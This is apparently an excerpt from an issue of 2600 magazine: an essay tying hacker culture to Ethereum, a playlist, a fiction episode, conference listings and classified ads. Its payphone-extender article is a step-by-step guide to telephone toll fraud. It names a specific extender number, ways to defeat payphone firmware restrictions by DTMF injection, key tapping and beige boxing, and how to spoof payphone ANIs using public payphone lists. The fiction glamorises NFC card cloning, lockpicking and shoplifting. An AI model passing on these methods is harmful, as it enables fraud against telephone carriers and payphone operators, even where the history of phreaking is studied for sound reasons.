The click-through terms of service and terms of use required to engage on these platforms are both Faustian in nature and yet also bog standard. As hackers and builders, we know there are better ways, we’ve yearned for privacy-preserving tech and infrastructure that does not monetize us as commodities, i.e., archives our data to be bought and sold, or - as is the common wording in privacy policies - “shared with third party affiliates.”

This is where we overlap with the Ethereum subculture, and what is being built right now is Internet infrastructure with people, privacy, and security - not data collection and profit - as its core values. In short, the cypherpunk ideals of the 90s hacker culture are alive and well and thriving within the Ethereum ecosystem.

This is a community that:

	Strives for open, global, and permissionless participation. Access for all has long been a tenet of hacker culture. These roots can even be traced back to the days of phone phreaking as a means by which communication and collaboration were achieved.

	Works towards decentralization of resources to minimize reliance on and power of single entities. Fighting against the centralization of power, be it of a government or corporation, has been part of our hacker culture’s past and our plans for the future.

	Creates censorship-resistant technologies. Here too we have historical alignment: as hackers, we have sought to develop tools and tech that prevents centralized actors from monitoring and repressing our online activities. One need only think about the creative manners by which hackers have evaded the Great Firewall of China, to building systems such as TOR, to the creation of SecureDrop for the protection of both investigative journalists and sources.

	Protects and promotes auditability by permitting anyone to examine and validate the operations of an application and its logic. This is tantamount to the open source movement within hacker culture, by which security is not achieved through obscurity but by full transparency.

	Focuses on building tools that are public goods, such as the Ethereum Name Service. Harkening back to the days of shareware and the emphasis on open source projects within hacker culture, there is philosophical alignment here too.

	Promotes cooperation rather than competition. Much the same way that hackers cannot help but share information about vulnerabilities and techniques, this is a mindset that is common to both the hacker and Ethereum culture.



These ideals, by the way, were found in a concentric circle in the inside of a piece of Devcon swag that I brought back from Bangkok, and which I subsequently found out were referenced within a recent blog post of Vitalik Buterin, one of Ethereum’s luminaries and founders.

Aside from these ideological commonalities, wondering around the massive, seemingly-never-ending halls of the Queen Sirikit National Convention Center that housed Devcon, I found there were social, visual, and cultural similarities to hacker culture as well. The ever-present cadre of black t-shirts, the wildly and proudly diverse attendees, the impromptu teaching sessions about some arcane technical topic, the ingestion of massive amounts of caffeine, the emphasis on building and collaborating, and the general vibe and spirit of the place had hacker conference written all over it. If you snapped a photo of a random hallway and asked me to guess from what conference it was taken, I would have had to say HOPE or Def Con.

More to the point, the builders and architects of this new world call themselves hackers, modeled after the true etymology of the term denoting a programmer who wrote innovative code. Within Devcon, there was a hacktivism center, a place to chill out called the Hackers Cove and - truly bridging this gap between cultures and personalities - a mailbox by which attendees could send mail directly to Virgil Griffith, an intellectual powerhouse whom we’re proud to call one of our own, but who also squarely belongs to the Ethereum community.

Indeed, my entre into this world of decentralization and Ethereum was through Virgil. As I learned about the tech that underlies blockchain - the sequencers, the validators, the op codes, etc. - more nostalgia crept in. I was reminded of how I felt when I was first learning DOS and how to issue commands that a computer would understand. In many ways, it is still very much early days for the world of Web3 and the Ethereum ecosystem, and it feels like the heady era of the Internet in the 90s, before commercialization and centralization corrupted it, when cross-border networking itself held the promise of equality and transparency for all.

Now the next generation of the Internet is being built. We all know the platitude that hindsight is 20/20. We have that hindsight now. We know what went wrong. With the very same tech for which our subculture fought so valiantly, we (not the platforms) can take back control of our identities and dictate who, when, and how our data is shared.

If you believe that it is about time that our terms of use (not that of the platforms) should control; if you believe that we (not platforms) should own our data; if you believe in privacy and the sovereignty of the individual; if you believe that we own ourselves and that the technology that we build should reflect our values and our belief system, then I exhort you to reconsider the world of Ethereum, Web3, and blockchain. A new Internet is being built and the architects of that world not only share our hacker values and roots, but desperately need and value our collaboration. Like the wires in Bangkok, this ecosystem is expansive, complicated - and candidly a bit of a mess - but it’s a hell of a lot of fun, and what’s being built right now will alter the course of history.


Playlist

by Sydney Greenstreet

This 88-song list is an aid to concentration I sometimes use, intended to clear the mental palette of distraction when doing intensive work. As you’ll see, I have several obvious preferences and directions, but I’ve attempted to steer clear of the hits....

“Wise One” - John Coltrane

“Off Night Backstreet” - Joni Mitchell

“Almost Nearly Nancy” - Hickoids

“Don’t Blame Me - Thelonious Monk

“I Can Tell” - Dr. Feelgood

“Nyquil Blues” - Alvin Crow

“Tiger Of San Pedro” - Bill Watrous

“Sym. Opus 3 no. 1 in D maj. - Johann Christian Bach

“My God” - Alice Cooper

“Mr. Big Stuff” - Jean Knight

“Stay” - Oingo Boingo

“Rebel Rebel (live)” - David Bowie

“Overture” - Ice Station Zebra soundtrack

“Sweet Jane” - Mott The Hoople

“Like A Hurricane” - Bryan Ferry w/ Jorja Chalmers live in Lyon

“Oops I Did It Again” - Richard Thompson

“Glenn Gould” - Turkish March

“Bad Company” - 5 Finger Death Punch

“Mister Rogers Neighborhood” - DDT

“Captain April” - Liz Story

“Murder” - David Gilmour

“Teenage FBI” - Guided By Voices

“So You Want To Be A Rock And Roll Star” - Patti Smith Group

“6 Days On The Road” - Steve Earle

“So What - Miles Davis

“Friday I’m In Love” - Yo La Tengo

“China Grove” - Hickoids

“Tibetan Side Of Town (live)” - Bruce Cockburn

“California Dreamin’” - Jose Feliciano

“Big Swifty” - Frank Zappa

“Dust My Broom” - Ike & Tina Turner

“They’re Coming To Take Me Away” - Napoleon XIV

“Secondhand Love” - Pete Townshend

“Love Is All Around” - Joan Jett

“Funky Broadway” - Wilson Pickett

“Deck The Halls” - Liz Story

“Tomorrow Never Knows” - Los Lobos

“Tear Off Your Own Head” - The Bangles

“Devo Corporate Anthem” - Devo

“Cold Blue Steel & Sweet Fire” - Joni Mitchell

“So L.A. - The Motels

“I’m One” - The Who

“Jungle Jezebel” - Divine

“Nothing Has Been Proved” - Pet Shop Boys

“The Two Lonely People” - Bill Evans

“ME262” - Blue Oyster Cult

“The Floppy Boot Stomp” - Captain Beefheart

“The Usual” - Bob Dylan

“Cello Song” - Nick Drake

“I Love The Sound Of Breaking Glass” - Nick Lowe

“Touch” - John Klemmer

“Nineteen Forever” - Joe Jackson

“Nordic Winds” - L.A. Express

“Them Changes” - Buddy Miles

“Connie Han” - Desert Air (Chick Corea cover)

“I Live In The City” - His Lordship

“Unforgettable” - Lou Rawls

“Don’t Come Knockin’” - Fats Domino

“I Don’t Know Why You Don’t Want Me” - Roseanne Cash

“Turn It On Again” - Genesis

“Wonderful Wino” - Frank Zappa

“I’m The Man” - Joe Jackson

“Brandenburg Concerto No. 2 - J. Sebastian Bach

“Big River” - Grateful Dead

“Comes The Night” - Anita Harris

“High Heel Sneakers” - Stevie Wonder

“Rawhide” - Frankie Laine

“Blazing Saddles Theme” - Frankie Laine

“Greensleeves” - Liz Story

“I Can’t Get Behind That” - William Shatner

“Chemistry - Semisonic

“I Got You” - Split Enz

“If I Had A Hammer” - Peter, Paul & Mary

“Diamonds & Rust” - Joan Baez

“Lost In The Ozone” - Commander Cody

“Down To Seeds & Stems Again Blues” - Nicolette Larson w/ Commander Cody

“Have You Seen The Stars Tonight” - Jefferson Starship

“Somebody To Love (live)” - Jefferson Airplane

“Desafinado” - Astrud Gilberto w/ George Michael

“Everything You Know Is Wrong” - Firesign Theater

“Burning Down The House - Paramore

“Dream Within A Dream (live 1985)” - Propaganda

“Beware Of Darkness” - Mary Fahl (George Harrison cover)

“Nothing To Lose” - The Stiffs

“Out Of The Business” - The Tubes

“Game Of Pretend” - McVie & Buckingham

“Nutbush City Limits” - Brian Johnson

“Senses Working Overtime” - XTC


Payphone Extenders: The Access Numbers That Replaced Red Boxing

(Part 2 of 2)

by Royal

Disclaimer: This article is for educational purposes only, and is not to be construed as advice or instructions. All attempts have been made to provide the most accurate information at the time of this writing, however the reliability of this information is not guaranteed. Any unlawful actions taken by the author depicted in this writing occurred over ten years ago. The author does not condone or encourage any illegal activities, such as telecommunications fraud. Any actions inspired by the information in this article are done so at the reader’s own risk. The author takes no responsibility for any damages or legal consequences that may result from such actions.

[This is Part 2 of a two part article. If you haven’t read Part 1 (41:2), please read that before continuing.]

Using the Extenders

Getting back to my story: after I brought my recordings home from the Verizon payphone and identified the tones, I ended up with two extenders - one for domestic calls and one for international. In an earlier section, I mentioned the international extender along with its PIN, but there were additional extenders used by payphones in other Verizon territories. Conversely, the one for domestic calls had no PIN and worked on all Verizon payphones in the U.S.! That number was 1-800-713-6496 and, like the international extender, it played an “A” tone. Placing a call was as simple as dialing a telephone number after that tone, as long as it recognized the Automatic Number Identification (ANI). This is similar to the PINless dialing feature on some prepaid phone cards where you can assign the number you’re calling from to be recognized to bypass the PIN. It’s a nice convenience - what could possibly go wrong?

To use an extender, all you have to do is dial the phone number in the same dialing format that the payphone uses, which you’ll figure out when you identify all those tones. If there’s no PIN, you can also figure it out by attempting three calls in different dialing formats: two domestic and one international. First, try dialing an area code and phone number with and without a preceding “1,” in the formats NPA-NXX-XXXX and 1-NPA-NXX-XXXX; then, try dialing 011 followed by an international number. You will know which formats and types of calls are accepted based on the ones that go through.

If none of those attempts succeed, the extender has a PIN, which you can obviously get using some of the methods I detailed earlier. Payphones will usually dial the PIN - with or without “#” at the end - before or after the destination phone number. If you already know the PIN, you can try dialing that and the phone number in all the possible formats to figure out which ones can be used to place calls.

If a payphone uses a Carrier Access Code (CAC), you’ll have to use a beige box on the line or find a way around the firmware if you want to place a call with it. This is because the firmware restricts 101-XXXX 1+ and 101-XXXX 011+ calls. There are a number of ways to get around restrictions programmed in smart boards; some of them work on extenders, CACs, or both. Let’s get into them.

Getting Around Dialing Restrictions

Weeks after I got the extenders from that Verizon payphone, a well-known person in the community left me a voicemail. I recognized his voice immediately - he said a mutual friend gave him my number and he wanted to speak with me, asking me to call him back on his cell phone. We started playing phone tag and, in one of his follow-up messages, he said that he had Verizon’s access number for domestic calls, but was also interested in the international extender. I had shared the former with a few select friends, and word sure spread like wildfire! When I finally reached him on the phone, we talked for a little while and I gave him the number and PIN. A few weeks later, I dialed one of the extenders on a Verizon payphone but, instead of the call going through, it played a new voice prompt: “restricted number.” It turned out that new security measures had been added to the firmware for all Verizon hybrids to prevent users from dialing the extenders, and the timing was awfully suspicious!

This prompted me to figure out various ways to circumvent the restrictions, some of which involve bypassing the firmware altogether. Payphones and their firmware will vary, and therefore so will your results if you try these methods. The types of smart payphones that each method works on - COCOTs and hybrids - are pointed out below. If a CAC can be used, that will be indicated as well.

Skipping the “1” at the Beginning. If dialing a payphone’s extender has been restricted, you can skip the “1” at the beginning and dial the rest of the toll-free number in the format 8YY-NXX-XXXX. If this format is accepted, the payphone will dial the access number in the correct format (1-8YY-NXX-XXXX) to place your call. This method only works on COCOTs.

Dialing “0” Instead of “1” at the Beginning. You can try dialing “0” in place of “1” at the beginning in the format 0-8YY-NXX-XXXX. If this format is accepted, the payphone will dial the extender in the correct format (1-8YY-NXX-XXXX) to place your call. This method only works on COCOTs.

Dialing an Incomplete Sequence of Digits. A payphone with badly programmed firmware may process what it thinks is a free call if you only dial three to seven digits. This allows you to get around dialing restrictions on extenders and CACs, as well as make free calls directly to intra-LATA numbers! To test this method, pick up the phone and dial the first three digits of a phone number or CAC, then wait to see what happens. If it works, the payphone will dial those digits and then unmute the handset’s mouthpiece, at which point you can dial the rest of the digits yourself. If you get an error, you can keep trying with more digits until you eventually reach seven, noting any successful attempts. If you’re dialing the beginning digits of an intra-LATA number that is outside the local calling area, be sure to dial a “1” first. This method only works on COCOTs.

Waiting for the Other Party to Disconnect. This is an old method of making free calls on payphones that bypasses the firmware. During a call, if you let the other party disconnect on you, the payphone may give you a new dial tone without any restrictions, allowing you to dial a payphone extender, CAC, intra-LATA number, etc. without any interference from the firmware. To begin, make a free call that the payphone allows, such as to a toll-free number, operator, Telecommunications Relay Service (TRS), or speed dial code (*X or *XX code). When the called party - whether it’s a human or automated system - answers, you can remain silent and wait until the call ends, or take the necessary action(s) to get him/her/it to hang up on you. Once the called party disconnects, listen for a new dial tone; if you hear one, go ahead and start dialing to place your call. Some payphones will disable the keypad at this point, in which case you’ll have to use a tone dialer or other DTMF device.

If that fails, you can try again by calling the payphone from another phone if it accepts incoming calls, or having another person or automated system do it. Then you can answer the payphone and wait for a dial tone again after the calling party disconnects. This method works on COCOTs and hybrids.

Using a Vertical Service Code. Vertical Service Code (VSC) is a NANPA term for the “star codes” that access telephone features called (Custom) Local Area Signaling Services (CLASS or LASS). It’s usually preceded by “*,” but ‘11’ is also accepted due to rotary phones. If it’s provisioned on the payphone line, you can use the VSCs for blocking and unblocking Caller ID - *67 and *82, respectively - to circumvent dialing restrictions, including on payphone extenders and CACs. The DTMF for “*” is likely filtered out by the smart board; you can try dialing 1167 or 1182, which will hopefully be an unrestricted sequence of digits. If you hear a stutter dial tone, you can finish dialing to place your call without any firmware interference. This method only works on hybrids.

Tapping the “1” Key. If you’re using a payphone that allows any of the DTMF to pass through while dialing, quickly tapping one of the keys can trick the firmware into thinking you dialed that additional digit on the line. It’s best to do this at the beginning, so start out by picking up the payphone and quickly tapping “1.” If you still hear a dial tone, you can dial a payphone extender, CAC, etc. without firmware interference. This works because the smart board recognizes the “1” key, but the tone it generates is too short to be detected at the Central Office. If you’re calling a payphone extender, for example, the smart board will think you’re dialing 1-1-8YY-NXX-XXXX, which should not be restricted. If tapping “1” breaks the dial tone, hang up and try again. This method only works on hybrids.

Repeatedly Tapping a Key. Repeatedly tapping one of the keys on a payphone can prevent the DTMF from the smart board’s modem from reaching the line while a call is being processed, and you can take advantage of this to get unrestricted access to the dial tone. In order for this to work, place a free call that causes the smart board to get a new dial tone, then dial all of the digits from the beginning, rather than continuing from trickled digits. On Verizon hybrids, this worked after dialing “0,” which would trigger a dial string or dialing macro to use a dial-around in the 101-XXXX-0 format to route the call to a long distance operator, so try dialing that first. If you take no further action, you should soon hear dialing in the background, likely preceded by a voice prompt such as “thank you” or “please wait.” Listen carefully to the free call being processed and get familiar with it, particularly when the dialing begins and ends; this will help you with the next step.

When you’re ready, place the free call again. Rapidly tap one of the keys just before the modem starts dialing (“*,” “0,” and “#” are the most likely to work), then stop just after it’s done. If your timing was right, you should hear the dial tone, at which point you can dial any sequence of digits, including a payphone extender or CAC, without firmware interference. If your timing was too short or too long, DTMF from the modem or the key you were tapping may have broken the dial tone, in which case you can keep trying until you get it right. You can also try different types of free calls to see if you get better results.

It’s easy to understand how this works: you get the dial tone due to none of the modem’s DTMF being able to reach the line, and dialing is unrestricted because the firmware thinks the free call has been completed. This method only works on hybrids.

DTMF Injection. You can play DTMF into the handset’s mouthpiece to get around dialing restrictions as long as it isn’t muted by the payphone when you go off-hook. However, the GSIII chassis, which is likely installed in such a payphone, can prevent some or all of the DTMF from reaching the line, and, according to its 1998 product manual, has a feature called “Pocket Dialer Detection” which detects DTMF from the handset and “processes the information as if the DTMF came from the dial.” Nevertheless, you can either take advantage of this feature or bypass the tone detection in order to get around firmware restrictions, such as on payphone extenders and CACs.

To bypass tone detection, play a constant DTMF tone before you go off-hook, stopping after the dial tone comes on. If you do this while holding your tone dialer or other DTMF device over the mouthpiece, it will be undetected by the smart board but still signal the Central Office, thus breaking the dial tone. If there are any additional digits to dial, you can do that from the handset or the keypad, and your call should go through without firmware interference since the smart board never detected that first digit. For example, if you want to call a payphone extender, you would play a constant “1” tone into the mouthpiece until the dial tone comes on, then dial the last ten digits - the only ones the smart board will detect - normally, in the format 8YY-NXX-XXXX.

Playing DTMF can have the opposite effect if it’s at a lower volume. If you play a tone that is low enough to avoid signaling the Central Office, but still loud enough to be detected by the smart board, it will trick the firmware into thinking you dialed that additional digit on the line. To begin, pick up the handset and hold your tone dialer or other DTMF device at a short distance from the mouthpiece (or up close with the volume lowered if that option is available), then play a “1” tone. If the dial tone is still playing, dial the sequence of digits normally, either from the handset or keypad, to see if your call goes through without firmware interference. If it does, the smart board detected that first tone; if not, you’ll need to try again with your DTMF dialer closer to the mouthpiece, or set it at a higher volume. Should the dial tone break following the “1” tone, hang up and try again with your dialer further away or set to a lower volume. For example, if you want to call a payphone extender, you would play a “1” tone into the mouthpiece at a lower volume, then regularly dial all 11 digits in the format 1-8YY-NXX-XXXX, resulting in the smart board detecting 1-1-8YY-NXX-XXXX. This method only works on hybrids.

Diverting to the Extender. Diverting calls to another number sometimes results in the calling party’s ANI - usually just the Calling Party Number (CPN) - being sent to the called party. This is often the case when calls are forwarded, or go over a toll-free extender or calling card platform. If you have access to something with a toll-free number that can divert your calls, you can use it to call a payphone extender since it’s a separate number that is not restricted in the payphone’s firmware; just make sure it passes the payphone’s CPN (you can check with an Automatic Number Announcement Circuit [ANAC]) or it likely won’t work. This method works on COCOTs and hybrids.

Dialing Another Payphone Extender. In some cases, you can dial a different access number than the one a payphone uses, which is unlikely to be restricted in the firmware. It still might let you place calls, even if the extender is provided by a different company or used by another Payphone Service Provider (PSP). This is likely due to ANI/DNIS databases not getting updated as payphones are replaced or go under new ownership with the same phone numbers, as well as single companies verifying the same ANIs across multiple access numbers. For example, I mentioned a small PSP earlier that had many access numbers that could be found by scanning; they all worked on that company’s payphones and were provided by the same telecommunications company. You could also use some of those extenders on a lot of Verizon payphones, which probably had the same ANIs as previous payphones installed in those areas. This method works on COCOTs and hybrids.

Beige Boxing the Line. If a payphone’s line is exposed, you can bypass the firmware altogether by hooking up your beige box. You can dial anything freely from there, but since payphone lines tend to have toll restrictions, you’ll likely have to use a payphone extender or CAC. This method works on COCOTs and hybrids.

Spoofing to the Extenders

Now for the best part: you can spoof the ANI of a payphone to an extender to make free calls from anywhere! ANI/Caller ID spoofing has been possible for decades, from the early days of social engineering operators, to using VoiceXML applications, to the now-popular use of VoIP and software PBXs. Regardless of the spoofing method, you specifically need to spoof the CPN in order for this to work, which is usually the type of ANI that is sent on such a call anyway. Once the extender answers with a tone, you can dial the number like you’re at the payphone, and there’s no firmware to get in your way!

You’ll need to find a payphone number to spoof, which can be difficult today. If you come across a payphone, you can find the number displayed somewhere on the front or dial an ANAC to have it read back to you. If you can’t find a payphone, you’ll have to find the number for one online. You’ll get a lot of results from search engines and social media, but there are current and former payphone lists, including Payphone Project (www.payphone-project.com/), Pay Phone Directory (www.payphone-directory.org/), and YAPL: Yet Another Payphone List (web.archive.org/web/20090720023132/http://www.yapl.org/). Unbeknownst to the maintainers of these websites, they’ve enabled free phone calls to be made for years, and the numbers are archived on the Wayback Machine!

You may be thinking that a lot of payphones have been decommissioned and that the numbers that had been assigned to them can no longer be spoofed to extenders. However, the ANI/DNIS databases are usually not updated whenever payphones go out of service, allowing you to spoof old ANIs and still place calls! Whether you find an old number online or displayed on a defunct payphone, it helps to know the PSP with which the number was associated, which in turn can help you determine which extender(s) to use. For example, CityBridge, LLC used the same 1-800 extender on all of its payphones in New York City, but many of them were defective, with the number (and company name) still displayed on them. If you knew the PSP was CityBridge as well as the access number that had been used, you could’ve spoofed one of those old numbers to the 1-800 extender and likely made a free call.

Anti-spoofing measures, such as STIR/SHAKEN and call analytics, have made ANI/Caller ID spoofing more difficult in recent years. The epidemic of robocalls has made this a high priority, and the battle against these types of calls is likely to continue for many years. That said, it’s still possible to spoof to many toll-free numbers, and that presumably includes payphone extenders. Time will tell how long it will take for that to change.

Conclusion

Payphone extenders will soon become a thing of the past. This will likely be due to the service becoming unprofitable as payphones continue to dwindle in numbers. However, I’m glad I was able to share this fragment of phone phreaking history with you before that happens.

Shouts: I-baLL; 0xF; av1d; Lucky225; greyarea; licutis; Doug from Doug TV; WhiteSword; Enamon; vvn; accident; elf; nes; XlogicX; Murd0c; Rucas; Lowtec; TheKid; agent5; ntheory; LamerJoe; gr3p; dropc0de; handler; micro214; Digi-D; Jolly; ic0n; bagel; Cessna; deceit. Additional shouts to: the old SoCal bridge; BinRev forums; Phone Losers of America; Bell’s Mind (PBX); Telephreak; Boston 2600 (the old and new meetings). R.I.P. KRT_. You will never be forgotten.


Pierre O’Brien, Harassment Agent - Episode 4

by Lee Williams

(This story is a complete work of fiction.)

I was 15 years old when my nose first got smashed into a wall. I was in a residential treatment facility, against my will, when some fat fuck named Caleb grabbed me from behind and smashed me into the wall as if he was dealing with a violent felon. Later that day, another staff member told him to meet at a bar, and when he did, he beat the ever living shit out of Caleb. Caleb wasn’t seen for a week, and came back working the nightshift.

I came to in a bar in Jacksonville, a redneck on the floor, blood on my hands, and his nose not quite looking right. And I think to myself, Pierre, you did it again, god damn it. And so I ran out of the bar and jumped on a bus, and rode it far, far away.

“Pierre, you idiot,” I thought. “We can’t keep doing this.”

I was clicked up with Lee now, who was clicked up with whoever, and he made this bus card for me that was just a copy of someone else’s bus card. He did it by bumping into a bus employee with an NFC reader in his pocket, and that NFC reader copied his card, which he then wrote to a blank card, which was mine, and now I ride the bus for free.

I felt bad about leaving him in the dust, but I had to go meet someone. He’ll be fine. We will meet back up later, I hope. I miss this girl very much, and for the life of me, I can’t possibly remember what drove her to move to Jacksonville. But the most important part was that I wasn’t found. They still have a warrant out for my arrest. I don’t want to be seen on any cameras.

And thankfully, Jacksonville, Florida is way, way behind on technology.

So I got a pair of camera blocking glasses. When you wear them, they make your face turn into a bulb of light in the view of CCTV cameras. I don’t know how they work, something about infrared or something like that, but you can buy them online. However, I need a place to receive them. I have the money. So I opened Zillow.com, and looked for the nearest house for sale. Then I carefully selected one that hadn’t started having people view it.

I got to the house, some mid-renovation dump in a place called Ortega Farms and took a paperclip and carefully bent it with some pliers to make what is basically a tension wrench. Then I took a second paper clip and even more carefully bent it to create that little jiggy thingy you use to bump the pins up. Come nightfall, I went around back, and picked the lock to the back door. It took me a fucking century to get open, but eventually the tension wrench moved all the way to the left and the door unlocked. Then I taped the hole where the locking mechanism goes in so the door stayed open for me.

And now I was looking at my new sleeping spot for however long.

Suddenly, I felt very sleepy. Like this wave of exhaustion just crashed over me. I can’t explain it. I had been up for three days now, and truthfully, couldn’t remember every detail of what had happened in those three days, and I knew it was all catching up to me. Right before I went to sleep though, I ordered the camera blocking glasses to the address I was sleeping in.

Four warm days later they came. Days spent lying in the sun, eating the last cans of chili I had, drinking warm beers I would buy cold at the nearby liquor store, and smoking Lucky Strike cigarettes. They were cheap. That’s why Lee smoked them too. They were long days. My mind ran wild in that house.

I would go room to room smashing any mirror I saw with a hammer I found.

I would piss and shit in the only toilet that worked, the one in the basement.

I would bathe in the freezing cold water that came out the faucet in the shower, because the heater didn’t work.

But the glasses fucking came. I cracked open a Guinness.

And now, the cameras will see a beam of light when my face walks by. Thank Leon for that, even though he’s currently trying to wipe me off the map.

I walk outside, and walk to her last known address. It was a long walk. I walked all day. I ran for part of it, just for the challenge. She lived 11 miles away; I ran about half of it. It didn’t really matter because I usually dress pretty sporty anyway. I had red Nike dunks on and basketball shorts and a wifebeater shirt. Truthfully, I had dressed perfectly to go for a run.

I stopped in a CVS along the way to test the glasses out. I shoplifted a basket full of water, dried fruit, snacks, and deodorant and looked at the camera on the way out, and saw a beam of light. I’m a beam of light! Look at that! And then I calmly walked out of the store, basket in hand, like I had already paid, and started running again. Quickly, I ducked into a swamp to put all the stuff in my backpack, and I threw the basket into the water. I saw several things start to swim about in the previously silent water and realized I had encountered a gator infested swamp. It all seemed pretty cool until I heard this hissing sound right next to me, and realized there was in fact an alligator looking at me, and he seemed somewhat hungry.

So I maniacally jumped on his head until it was dazed and kept running.

I decided to listen to the police radio on an app on my phone.

“This is car one, I’m down here with the clerk, we looked at the footage and the guy’s face is just... I don’t know how to explain this. It’s like when his face gets in the camera it’s all bright. No, I don’t need medical, why would you send medical. For me? What?”

I ate a Slim Jim as I finished the final stretch to her house. But when I got to her house, I saw two kids playing outside. I was furious. I stormed up the steps and knocked on the door, blood running in my veins like a bubbling stew, my heart pounding and full of hate, my brow furrowed, my head feeling like there was ginger ale in my skull... And then a man opened the door, a man taller than me, a man dressed better than me, a man a few years older than me.

“Hi,” he started to say. “How can I help y-”

“Where is she!?” I shouted maniacally.

“Who!?” He seemed scared.

“Your wife, asshole!”

“You won’t be talking to my wife like that,” he said. “Not if you want to speak to her.”

“Trust me buddy,” I said. “I won’t.”

He slammed the door in my face and after a few seconds of angry waiting, my heart pounding, a woman I had never seen before in my life opened the door. I stared at her confused.

“Can I help you?” she asked.

“Who are you!?” I screamed.

“I’m Joanne? His wife?”

“What happened to Elizabeth!”

“The woman who lived here before? She moved to California. We bought the house from her. Are you okay?”

Suddenly my blood stopped boiling and my heart stopped pounding and that feeling in my head went away and I realized that she didn’t live here anymore.

“Nothing. It was a mistake. Sorry.”

“And if you ever come back, we will call the police! This is a blue lives matter family!” she shouted, but I was already down the street.

I ran the almost half marathon the whole way back to my little house that I’ve forcefully claimed as mine. Not sure what to do, I figured my best bet would be to find Lee again, so I packed up and went back to the motel, but he wasn’t there. I knocked on the door to his room, and some random drug addict answered the door, so I left. I decided to go to the beach. I went all the way out to Atlantic Beach. And then I walked down to Neptune Beach. I had lost track of time and eventually took a nap on the sand. When I woke up it was daytime.

I took the bus back to where I was squatting.

I plugged my phone in. Didn’t realize they had electricity here.

SIGNAL SECURE MESSENGER


Lee_w22: Yo

Lee_w22: Where tf u go?

Lee_w22: Yu alive!?? Wtf man i coulda left you

Lee_w22: Bro

I decided to reply.


skip188: yeo

He replied almost instantly.


Lee_w22: What the fuck man i thought you was dead

skip188: na im good im over in Ortega forest or sum

Lee_w22: shit is goin down over hear

skip188: like what

Lee_w22: I bought a 12

skip188: 12 what?

Lee_w22: 12 gauge

skip188: lmao

Lee_w22: dis shit serious dude, not a joke over here.

Lee_w22: some1 took a shot @ me in east jacksonville nd i decided i ain’t taking no more chances

Lee_w22: I think u might actually like this

skip188: but was it them?

Lee_w22: hard to say

Lee_w22: Why you in Ortega Forest?

skip188: becuz I’m squatting over here

Lee_w22: alright when I find some transportation im a come thru. We a deal with this problem, with them, wen I get there

skip188: aight

Lee_w22: send addy

skip188: ite

And with that, I cracked open a can of chili, poured it into a pot, heated it up with the portable stove I stole (thank you camera blocking glasses) and called it a night. But not before two to three to four to five to six Guinnesses.

Soundtrack

Debold - Vegyn

Moments - Melosense

The righteous wrath of an honorable man - Colin Stetson

Better Than Ever - YoungBoy Never Broke Again


Hacker Happenings

Listed here are some upcoming events of interest to hackers. Hacker conferences generally don’t cost a fortune and are open to everyone. If you know of a conference or event that should be known to the hacker community, email us at happenings@2600.com or by snail mail at Hacker Happenings, PO Box 99, Middle Island, NY 11953 USA.




Please remember that we need sufficient lead time (a minimum of three months) to list events in the magazine. We only list events that have a firm date and location, aren’t ridiculously expensive, are open to everyone, and welcome the hacker community. All events are subject to change.




February 15-16

Vintage Computer Festival SoCal

Hotel Fera Anaheim

Orange, California

vcfsocal.com




April 4-6

Vintage Computer Festival East

Infoage Science and History Museums

Wall, New Jersey

vcfed.org




May 2-3

CoCoFEST!

Holiday Inn & Suites Chicago-Carol Stream

Carol Stream, Illinois

www.glensideccc.com/cocofest/




May 16-18

CackalackyCon

DoubleTree at Research Triangle Park

Durham, North Carolina

cackalackycon.org




May 16-18

NolaCon

Hyatt Centric

New Orleans, Louisiana

nolacon.com




May 30-31

THOTCON 0xD

Chicago, Illinois

www.thotcon.org




June 3-4

RVAsec 14

Richmond Marriott

Richmond, Virginia

rvasec.com




June 20-22

Vintage Computer Festival Southwest 2025

Davidson Gundy Alumni Center, UT Dallas

Dallas, Texas

www.vcfsw.org




July 16-23

BornHack 2025

Funen, Denmark

bornhack.dk




August 7-10

DEF CON 33

Las Vegas Convention Center West Hall

Las Vegas, Nevada

www.defcon.org




August 8-12

What Hackers Yearn

Geestmerambacht, Netherlands

why2025.org




August 15-17

HOPE_16

St. John’s University

Queens, New York

hope.net




August 23-24

Maker Faire Hannover

Hannover Congress Centrum

Hannover, Germany

maker-faire.de/hannover




September 6-7

Blue Team Con 2025

Fairmont Chicago

Chicago, Illinois

blueteamcon.com




October 24-25

SecureWV 16

Charleston Coliseum and Convention Center

Charleston, West Virginia

www.securewv.org




Please send us your feedback on any events you attend and let us know if they should/should not be listed here.


Marketplace

Happenings




BSIDES ALBUQUERQUE is taking place July 25-26. It will be held once again at UNM Continuing Education, Albuquerque, NM. Interested in presenting, running a workshop, or sponsoring??? Please visit bsidesabq.org for all the details and to get involved!

HOPE_16 is the next HOPE conference and it’s happening this year! Yes, HOPE is now an annual event. Spread the word! Tickets on sale now as well as all kinds of opportunities to get involved, including speaker and workshop slots. August 15-17, St. John’s University, Queens, New York City! www.hope.net for all the details.




For Sale




COOL SOLDERING KITS FOR SALE! TV-B-Gone for turning off TVs in public places. ArduTouch music synthesizer kit for making beautiful music, sound, and noise. And more! Learn and grow and do cool things. Everyone can solder! Step-by-step instructions show you how. All ages, friendly for total beginners. https://CornfieldElectronics.com

HACKER WAREHOUSE is your one stop shop for hacking equipment. We understand the importance of tools and gear which is why we carry only the highest quality gear from the best brands in the industry. From RF Hacking to Hardware Hacking to Lock Picks, we carry equipment that all hackers, red teamers, and penetration testers need. Check us out at https://HackerWarehouse.com

PHONECO INC. has old oak crank wall phones, desk phones from 1892 to the 1980s, parts, old 3-slot payphones, walnut and oak ringer boxes, Ericophones, telephone magazines, telegraphs, switchboards, novelties, decorators, and more. Some display and others stacked up in barns and old semi trailers in the process of elimination. 1905-1972 3-slot payphones $280, 1892 Eiffel towers $1200, 1976 copies of the 1892 by Ericsson $285. A gadget is available ($79) to permit using any landline phone on a cell phone line (circuit) - this unit installs right into each old telephone, turning any old phone into a cell phone. Amongst many books are 2200 page “Telephone History” thumb drive or DVD $38.00 ppd and a 440 page “Payphone History” $18.00 paperback. Both are heavily illustrated. We consist of two handymen, a buffer, clerical/shipping helper, and Ron and Mary (owners). When all is gone, no replenishment; unable to predict the outflow of inventory. Conversation about old telephones offered freely and charitably. The Phoneco building opens around 2 pm Central Time. Guests are welcome by arrangement or can freely walk in after 2 pm until 8 or 9 pm. Fly into Minneapolis, drive the 130 miles to Galesville, Wisconsin. Two close motels and diners. Accommodations are comparatively inexpensive. Dress warm as most of the buildings are not heated. You can roam freely. And if you have specific interests, we can point you in a direction. We are trying to move out of the large building and sell the business. 608 582 4124 10 am to 8 pm CT. phonecoinc@aol.com www.phonecoinc.com Phoneco, W21975 Hess Rd., Galesville, WI 54630. We will ship worldwide.

